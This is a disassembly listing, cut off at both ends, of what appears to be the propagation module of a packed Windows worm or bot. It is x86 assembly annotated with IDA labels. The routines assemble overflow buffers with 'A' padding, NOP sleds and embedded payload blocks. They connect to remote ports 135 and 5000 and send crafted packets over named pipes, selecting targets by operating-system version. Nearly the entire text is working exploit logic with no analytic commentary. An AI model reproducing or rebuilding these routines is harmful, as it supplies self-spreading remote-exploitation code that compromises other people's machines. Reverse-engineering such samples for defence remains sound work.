[esp+48h+var_30], edi pop ecx pop ecx jnz short loc_40C633 push dword ptr [esi+3Eh] call sub_403D70 push esi mov [esi+3Eh], edi call sub_40C501 loc_40C631: ; CODE XREF: sub_40C501+107j pop ecx pop ecx loc_40C633: ; CODE XREF: sub_40C501+44j ; sub_40C501+6Aj ... pop edi pop esi pop ebp pop ebx add esp, 1004h retn sub_40C501 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A00h push ebx mov ebx, [ebp+8] push 1 push offset byte_4191D0 push dword ptr [ebx+2Ah] lea eax, [ebx+146h] push eax lea eax, [ebx+0C6h] push eax lea eax, [ebp-0A00h] push dword ptr [ebx+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+8], eax test eax, eax jz loc_40C797 push esi push edi push 24h lea eax, [ebp-800h] push (offset loc_415FCA+2) push eax call sub_4114D0 ; memcpy push 210h lea eax, [ebp-7DCh] push 4Dh push eax call sub_4114E8 ; memset push 4 lea eax, [ebp-5CCh] pop edi push edi push offset dword_415FF4 push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5C8h] push offset aCccc ; "CCCC" push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5C4h] push offset loc_415FC4 push eax call sub_4114D0 ; memcpy mov esi, (offset loc_415FC4+4) push edi lea eax, [ebp-5C0h] push esi push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-5BCh] push edi push esi push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B8h] push offset a3333 ; "3333" push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B4h] push esi push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B0h] push esi push eax call sub_4114D0 ; memcpy push 58h lea eax, [ebp-5ACh] push 41h push eax call sub_4114E8 ; memset mov esi, [ebp+8] lea eax, [ebp-0A00h] push esi push eax lea eax, [ebp-554h] push eax call sub_4114D0 ; memcpy add esp, 48h add esi, 2ACh push 5 lea eax, [ebp+esi-800h] push offset dword_415FFC push eax call sub_4114D0 ; memcpy add esi, 5 lea eax, [ebp-800h] push esi push eax push dword ptr [ebx+3Eh] call sub_403D9D add esp, 18h pop edi pop esi loc_40C797: ; CODE XREF: .packed:0040C682j pop ebx leave retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0CD8h push ebx push esi mov esi, [ebp+8] push edi push 7 push offset dword_415854 push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp-6D8h] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp-8], eax test eax, eax jz loc_40CA9C push 89h push offset dword_416014 push dword ptr [esi+3Eh] call sub_403D9D mov ebx, 2710h mov edi, 600h push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0A8h push offset dword_4160A0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0DEh push offset dword_41614C push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C mov al, [ebp-0C98h] push 3Eh sub al, 30h push offset dword_41622C push dword ptr [esi+3Eh] mov [ebp-1], al mov al, [ebp-0C94h] sub al, 30h mov [ebp+0Bh], al call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 60h push offset dword_41626C push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0A0h push offset dword_4162D0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C cmp byte ptr [ebp-1], 5 push 4 pop ebx jnz loc_40C9FC cmp byte ptr [ebp+0Bh], 1 jnz loc_40C9F6 push 86h lea eax, [ebp-374h] push offset dword_416374 push eax call sub_4114D0 ; memcpy mov edi, [ebp-8] lea eax, [ebp-6D8h] push edi push eax lea eax, [ebp-2EEh] push eax call sub_4114D0 ; memcpy mov eax, 2C4h push 0 sub eax, edi push eax lea eax, [ebp+edi-2EEh] push eax call sub_40D5A8 push ebx lea eax, [ebp-8Ah] push offset dword_4164D4 push eax call sub_4114D0 ; memcpy mov edi, offset dword_4164CC push ebx lea eax, [ebp-7Eh] push edi push eax call sub_4114D0 ; memcpy push ebx lea eax, [ebp-5Ah] push edi push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-4Eh] push ebx push edi push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp-2Ah] push offset dword_4163FC push eax call sub_4114D0 ; memcpy mov edi, 36Ah lea eax, [ebp-374h] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 24h push 400h call dword_4120A4 ; Sleep lea eax, [ebp-374h] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 0Ch jmp loc_40CA9C ; --------------------------------------------------------------------------- loc_40C9F6: ; CODE XREF: .packed:0040C926j cmp byte ptr [ebp+0Bh], 0 jz short loc_40CA05 loc_40C9FC: ; CODE XREF: .packed:0040C91Cj cmp [ebp-1], bl jnz loc_40CA9C loc_40CA05: ; CODE XREF: .packed:0040C9FAj push 86h lea eax, [ebp-4D8h] push offset dword_416420 push eax call sub_4114D0 ; memcpy mov eax, 3E8h sub eax, [ebp-8] push eax lea eax, [ebp-452h] push 90h push eax call sub_4114E8 ; memset push dword ptr [ebp-8] lea eax, [ebp-6D8h] push eax lea eax, [ebp-6Ah] sub eax, [ebp-8] push eax call sub_4114D0 ; memcpy lea eax, [ebp-6Ah] add esp, 24h mov [ebp+8], eax mov dword ptr [ebp-8], 10h mov edi, offset dword_4164CC loc_40CA60: ; CODE XREF: .packed:0040CA73j push ebx push edi push dword ptr [ebp+8] call sub_4114D0 ; memcpy add [ebp+8], ebx add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40CA60 push 20h lea eax, [ebp-2Ah] push offset dword_4164A8 push eax call sub_4114D0 ; memcpy lea eax, [ebp-4D8h] push 4CEh push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 18h loc_40CA9C: ; CODE XREF: .packed:0040C7E1j ; .packed:0040C819j ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAA1 proc near ; CODE XREF: .packed:0040CD98p ; .packed:0040CDA6p var_2208 = byte ptr -2208h var_21FF = byte ptr -21FFh var_1208 = byte ptr -1208h var_1205 = byte ptr -1205h var_11DB = byte ptr -11DBh var_11D8 = byte ptr -11D8h var_10D8 = byte ptr -10D8h var_980 = byte ptr -980h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2208h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_208] push dword ptr [esi+0C2h] push 200h push eax call sub_40E2C1 add esp, 18h mov [ebp+var_8], eax test eax, eax jz loc_40CD8D push 89h push offset dword_4164DC push dword ptr [esi+3Eh] call sub_403D9D mov ebx, 0EA60h mov edi, 1000h push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0A8h push offset dword_416568 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D push 0DEh push offset dword_416614 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 30h lea eax, [ebp+var_1208] push offset dword_4166F4 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_11D8] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [eax+eax-2] push 1 lea ecx, [eax+30h] add eax, 9 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_11DB] push eax mov [ebp+arg_0], ecx call sub_4114D0 ; memcpy mov eax, [ebp+arg_0] push 8 push offset dword_416728 lea eax, [ebp+eax+var_1208] push eax call sub_4114D0 ; memcpy add [ebp+arg_0], 8 push 1 mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1205] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_1208] push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 44h lea eax, [ebp+var_2208] push ebx push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 6Ah push offset dword_416734 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0A0h push offset dword_4167A0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0 lea eax, [ebp+var_1208] push 894h push eax call sub_40D5A8 add esp, 0Ch cmp [ebp+arg_4], 0 push 130h jnz short loc_40CD28 push offset dword_416844 jmp short loc_40CD2D ; --------------------------------------------------------------------------- loc_40CD28: ; CODE XREF: sub_40CAA1+27Ej push offset dword_416978 loc_40CD2D: ; CODE XREF: sub_40CAA1+285j lea eax, [ebp+var_1208] push eax call sub_4114D0 ; memcpy add esp, 0Ch lea eax, [ebp+var_208] push [ebp+var_8] push eax lea eax, [ebp+var_10D8] push eax call sub_4114D0 ; memcpy push 0Ch lea eax, [ebp+var_980] push offset dword_416AAC push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_1208] push 894h push eax push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 34h loc_40CD8D: ; CODE XREF: sub_40CAA1+43j ; sub_40CAA1+7Cj ... pop edi pop esi pop ebx leave retn sub_40CAA1 endp ; --------------------------------------------------------------------------- push 0 push dword ptr [esp+8] call sub_40CAA1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_40CDA0: ; DATA XREF: .packed:00417EE8o push 1 push dword ptr [esp+8] call sub_40CAA1 pop ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40CDAE proc near ; CODE XREF: sub_40CEBE+12Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi xor esi, esi cmp [esp+4+arg_4], esi jbe short loc_40CDDD mov edx, [esp+4+arg_8] loc_40CDBB: ; CODE XREF: sub_40CDAE+2Dj mov eax, [esp+4+arg_0] mov cl, [esi+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [edx], cl mov [edx+1], al inc esi inc edx inc edx cmp esi, [esp+4+arg_4] jb short loc_40CDBB loc_40CDDD: ; CODE XREF: sub_40CDAE+7j pop esi retn sub_40CDAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDDF proc near ; CODE XREF: sub_40CDDF+CDp ; sub_40CEBE+4DCp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40CDF3 or [ebp+arg_7], 1 jmp short loc_40CDF7 ; --------------------------------------------------------------------------- loc_40CDF3: ; CODE XREF: sub_40CDDF+Cj and [ebp+arg_7], 0FEh loc_40CDF7: ; CODE XREF: sub_40CDDF+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_40CE18 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40CE2A ; --------------------------------------------------------------------------- loc_40CE18: ; CODE XREF: sub_40CDDF+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40CE2A: ; CODE XREF: sub_40CDDF+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_4114C4 ; malloc test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_40CE43 loc_40CE3F: ; CODE XREF: sub_40CDDF+A4j xor eax, eax jmp short loc_40CEB9 ; --------------------------------------------------------------------------- loc_40CE43: ; CODE XREF: sub_40CDDF+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4114D0 ; memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_412070 ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_40CE85 call sub_4114CA ; free pop ecx jmp short loc_40CE3F ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CDDF+9Cj call sub_4114CA ; free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40CEB6 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40CDDF add esp, 2Ch jmp short loc_40CEB9 ; --------------------------------------------------------------------------- loc_40CEB6: ; CODE XREF: sub_40CDDF+B0j push 1 pop eax loc_40CEB9: ; CODE XREF: sub_40CDDF+62j ; sub_40CDDF+D5j pop edi pop esi pop ebx leave retn sub_40CDDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBE proc near ; CODE XREF: sub_40D3D6+6p ; sub_40D3D6+16p var_CEBC = byte ptr -0CEBCh var_8EBC = byte ptr -8EBCh var_7364 = byte ptr -7364h var_5364 = byte ptr -5364h var_3364 = byte ptr -3364h var_1364 = dword ptr -1364h var_A68 = byte ptr -0A68h var_A63 = byte ptr -0A63h var_A24 = byte ptr -0A24h var_5B8 = byte ptr -5B8h var_3B8 = byte ptr -3B8h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = byte ptr -4Ah var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0CEBCh call sub_411540 push ebx push esi push edi xor edi, edi cmp dword_41920C, edi jz loc_40D3CE cmp dword_419214, edi jz loc_40D3CE mov esi, [ebp+arg_0] push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_5B8] push dword ptr [esi+0C2h] push 200h push eax call sub_40E2C1 add esp, 18h cmp eax, edi mov [ebp+var_4], eax jz short loc_40CF41 add esi, 42h push 2 push esi mov [ebp+arg_0], esi call sub_40D42D pop ecx cmp eax, 3 pop ecx jz short loc_40CF48 push 1 push esi call sub_40D42D pop ecx cmp eax, 3 pop ecx jz short loc_40CF48 loc_40CF41: ; CODE XREF: sub_40CEBE+5Dj xor eax, eax jmp loc_40D3D1 ; --------------------------------------------------------------------------- loc_40CF48: ; CODE XREF: sub_40CEBE+72j ; sub_40CEBE+81j push 32Bh lea eax, [ebp+var_3B8] push edi push eax call sub_4114E8 ; memset mov esi, 0DACh lea eax, [ebp+var_1364] push esi push edi push eax call sub_4114E8 ; memset push 1B58h lea eax, [ebp+var_8EBC] push edi push eax call sub_4114E8 ; memset push 0DABh lea eax, [ebp+var_1364] push 41h push eax call sub_4114E8 ; memset mov eax, [ebp+arg_4] push 5 push offset dword_416AC0 lea ebx, [eax+eax*8] mov [ebp+var_8], ebx mov eax, dword ptr (loc_416B1A+2)[ebx] mov ecx, dword ptr (loc_416B17+1)[ebx] mov [ebp+eax+var_1364], ecx lea eax, [ebp+var_A68] push eax call sub_4114D0 ; memcpy push 3Fh lea eax, [ebp+var_A63] push offset sub_416AD8 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_5B8] push [ebp+var_4] push eax call sub_40CDAE lea eax, [ebp+var_3B8] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_A24] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_3B8] push eax call sub_4114BE ; strlen and [ebp+eax+var_A24], 0 add esp, 20h xor ecx, ecx lea eax, [ebp+var_8EBC] loc_40D02C: ; CODE XREF: sub_40CEBE+17Fj movzx dx, byte ptr [ebp+ecx+var_1364] mov [eax], dx inc ecx inc eax inc eax cmp ecx, esi jb short loc_40D02C push [ebp+arg_0] mov esi, 2000h lea eax, [ebp+var_7364] push offset dword_416B80 push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_7364] push esi push eax lea eax, [ebp+var_CEBC] push eax call sub_4117BA ; mbstowcs push offset dword_416B7C push [ebp+arg_0] call sub_411924 ; _strcmpi add esp, 24h test eax, eax jz short loc_40D0D8 push [ebp+arg_0] lea eax, [ebp+var_3364] push offset dword_416B74 push esi push eax call sub_41152E ; _snprintf push esi lea eax, [ebp+var_3364] push offset dword_416B6C push eax call sub_4117B4 ; strncat push 20h lea eax, [ebp+var_8C] push edi push eax call sub_4114E8 ; memset lea eax, [ebp+var_3364] add esp, 28h mov [ebp+var_78], eax mov eax, offset byte_4191D0 push edi push eax push eax lea eax, [ebp+var_8C] push eax call dword_41920C loc_40D0D8: ; CODE XREF: sub_40CEBE+1C1j push [ebp+arg_0] lea eax, [ebp+var_5364] push offset dword_416B74 push esi push eax call sub_41152E ; _snprintf push esi lea eax, [ebp+var_5364] push offset dword_416B60 push eax call sub_4117B4 ; strncat add esp, 1Ch lea eax, [ebp+var_5364] push edi push edi push 3 push edi push 3 push 40000000h push eax call dword_412048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40D12A loc_40D123: ; CODE XREF: sub_40CEBE+370j xor esi, esi jmp loc_40D3BF ; --------------------------------------------------------------------------- loc_40D12A: ; CODE XREF: sub_40CEBE+263j push 48h lea eax, [ebp+var_68] push edi push eax call sub_4114E8 ; memset push 10h and [ebp+var_67], 0 pop esi mov [ebp+var_68], 5 push 1 mov [ebp+var_66], 0Bh pop eax mov [ebp+var_65], 3 mov [ebp+var_5C], eax mov [ebp+var_50], eax mov [ebp+var_4A], al mov [ebp+var_38], eax push esi lea eax, [ebp+var_48] push offset dword_416B4C push eax mov [ebp+var_64], esi mov [ebp+var_60], 48h mov [ebp+var_5E], di mov [ebp+var_58], 10B8h mov [ebp+var_56], 10B8h mov [ebp+var_54], edi mov [ebp+var_4C], di call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_34] push offset dword_416B38 push eax mov [ebp+var_24], 2 call sub_4114D0 ; memcpy add esp, 24h lea eax, [ebp+var_6C] push edi push eax lea eax, [ebp+var_68] push 48h push eax push [ebp+var_4] call dword_412070 ; WriteFile test eax, eax jz short loc_40D225 lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen lea eax, [eax+eax+12h] pop ecx test al, 3 mov [ebp+arg_4], eax jz short loc_40D1D9 loc_40D1D0: ; CODE XREF: sub_40CEBE+319j inc [ebp+arg_4] test byte ptr [ebp+arg_4], 3 jnz short loc_40D1D0 loc_40D1D9: ; CODE XREF: sub_40CEBE+310j cmp byte ptr (loc_416B1F+1)[ebx], 0 push 4 pop esi jz short loc_40D1E8 add [ebp+arg_4], esi loc_40D1E8: ; CODE XREF: sub_40CEBE+325j lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen pop ecx mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2+0Eh] loc_40D1FC: ; CODE XREF: sub_40CEBE+343j test al, 3 jz short loc_40D203 inc eax jmp short loc_40D1FC ; --------------------------------------------------------------------------- loc_40D203: ; CODE XREF: sub_40CEBE+340j add eax, 8 cmp byte ptr (loc_416B1F+1)[ebx], 0 jz short loc_40D213 add eax, esi jmp short loc_40D215 ; --------------------------------------------------------------------------- loc_40D213: ; CODE XREF: sub_40CEBE+34Fj inc eax inc eax loc_40D215: ; CODE XREF: sub_40CEBE+353j push eax mov [ebp+arg_4], eax call sub_4114C4 ; malloc mov ebx, eax pop ecx cmp ebx, edi jnz short loc_40D233 loc_40D225: ; CODE XREF: sub_40CEBE+2F8j push [ebp+var_4] call dword_4120AC ; CloseHandle jmp loc_40D123 ; --------------------------------------------------------------------------- loc_40D233: ; CODE XREF: sub_40CEBE+365j push [ebp+arg_4] push edi push ebx call sub_4114E8 ; memset push esi push offset dword_416AC8 push ebx call sub_4114D0 ; memcpy lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen inc eax mov [ebx+0Ch], eax mov [ebx+8], edi mov eax, [ebx+0Ch] mov [ebx+4], eax lea eax, [ebp+var_CEBC] push eax lea eax, [ebx+10h] push eax call sub_4117AE ; wcscpy lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+arg_0], eax jz short loc_40D294 loc_40D28C: ; CODE XREF: sub_40CEBE+3D1j inc eax test al, 3 jnz short loc_40D28C mov [ebp+arg_0], eax loc_40D294: ; CODE XREF: sub_40CEBE+3CCj mov ecx, [ebp+var_8] cmp byte ptr (loc_416B1F+1)[ecx], 0 jz short loc_40D2B7 push esi add eax, ebx push offset dword_416AD0 push eax call sub_4114D0 ; memcpy add esp, 0Ch add [ebp+arg_0], esi mov eax, [ebp+arg_0] loc_40D2B7: ; CODE XREF: sub_40CEBE+3E0j lea esi, [eax+ebx] lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen inc eax add [ebp+arg_0], 0Ch mov [esi+8], eax mov [esi+4], edi mov eax, [esi+8] mov [esi], eax lea eax, [ebp+var_8EBC] push eax mov eax, [ebp+arg_0] add eax, ebx push eax call sub_4117AE ; wcscpy lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+arg_0], eax jz short loc_40D30D loc_40D305: ; CODE XREF: sub_40CEBE+44Aj inc eax test al, 3 jnz short loc_40D305 mov [ebp+arg_0], eax loc_40D30D: ; CODE XREF: sub_40CEBE+445j push 8 add eax, ebx push edi push eax call sub_4114E8 ; memset mov eax, [ebp+arg_0] mov esi, [ebp+var_8] add esp, 0Ch add eax, 8 cmp byte ptr (loc_416B1F+1)[esi], 0 jz short loc_40D332 mov [eax+ebx], edi jmp short loc_40D338 ; --------------------------------------------------------------------------- loc_40D332: ; CODE XREF: sub_40CEBE+46Dj mov word ptr [eax+ebx], 1 loc_40D338: ; CODE XREF: sub_40CEBE+472j push 18h lea eax, [ebp+var_20] push edi push eax call sub_4114E8 ; memset add esp, 0Ch mov cl, byte ptr (loc_416B1F+1)[esi] and [ebp+var_1F], 0 and [ebp+var_1E], 0 push 1 mov [ebp+var_16], di pop eax mov [ebp+var_C], di push eax push 10B8h push [ebp+arg_4] lea esi, [ebp+var_20] neg cl sbb ecx, ecx push ebx and ecx, 2 sub esp, 18h add ecx, 19h mov [ebp+var_20], 5 push 6 mov [ebp+var_A], cx pop ecx mov [ebp+var_1D], 3 mov edi, esp push [ebp+var_4] mov [ebp+var_1C], 10h mov [ebp+var_14], eax rep movsd call sub_40CDDF add esp, 2Ch test eax, eax jnz short loc_40D3AA xor esi, esi jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3AA: ; CODE XREF: sub_40CEBE+4E6j push 1 pop esi loc_40D3AD: ; CODE XREF: sub_40CEBE+4EAj push [ebp+var_4] call dword_4120AC ; CloseHandle push ebx call sub_4114CA ; free pop ecx xor edi, edi loc_40D3BF: ; CODE XREF: sub_40CEBE+267j push edi push edi push [ebp+var_78] call dword_419214 mov eax, esi jmp short loc_40D3D1 ; --------------------------------------------------------------------------- loc_40D3CE: ; CODE XREF: sub_40CEBE+18j ; sub_40CEBE+24j push 1 pop eax loc_40D3D1: ; CODE XREF: sub_40CEBE+85j ; sub_40CEBE+50Ej pop edi pop esi pop ebx leave retn sub_40CEBE endp ; =============== S U B R O U T I N E ======================================= sub_40D3D6 proc near ; DATA XREF: .packed:00417F5Co ; .packed:00417FD0o arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40CEBE pop ecx test eax, eax pop ecx jnz short locret_40D3F3 push eax push [esp+4+arg_0] call sub_40CEBE pop ecx pop ecx locret_40D3F3: ; CODE XREF: sub_40D3D6+Fj retn sub_40D3D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3F4 proc near ; CODE XREF: sub_40D42D+131p ; sub_40D42D+15Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D422 loc_40D405: ; CODE XREF: sub_40D3F4+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41178A ; memcmp add esp, 0Ch test eax, eax jz short loc_40D428 inc esi cmp esi, edi jl short loc_40D405 loc_40D422: ; CODE XREF: sub_40D3F4+Fj xor eax, eax loc_40D424: ; CODE XREF: sub_40D3F4+37j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D428: ; CODE XREF: sub_40D3F4+27j push 1 pop eax jmp short loc_40D424 sub_40D3F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D42D proc near ; CODE XREF: sub_40BC10+19p ; sub_40CEBE+68p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_411540 mov eax, [ebp+arg_4] push ebx push esi dec eax push edi jz short loc_40D478 dec eax jz short loc_40D44E dec eax loc_40D447: ; CODE XREF: sub_40D42D+61j xor eax, eax loc_40D449: ; CODE XREF: sub_40D42D+49j ; sub_40D42D+176j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D44E: ; CODE XREF: sub_40D42D+17j push 2710h push 0 push offset a5000 ; "5000" push [ebp+arg_0] call sub_403C04 mov esi, eax push esi call sub_403D70 mov eax, esi add esp, 14h neg eax sbb eax, eax and eax, 3 jmp short loc_40D449 ; --------------------------------------------------------------------------- loc_40D478: ; CODE XREF: sub_40D42D+14j push 6 push 1 push 2 call dword_41222C ; socket mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx mov [ebp+arg_4], edi jz short loc_40D447 xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_4114E8 ; memset add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_412248 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_412254 ; inet_addr mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_412208 ; connect cmp eax, ebx jz loc_40D598 push esi push 48h push offset dword_416B88 push edi call 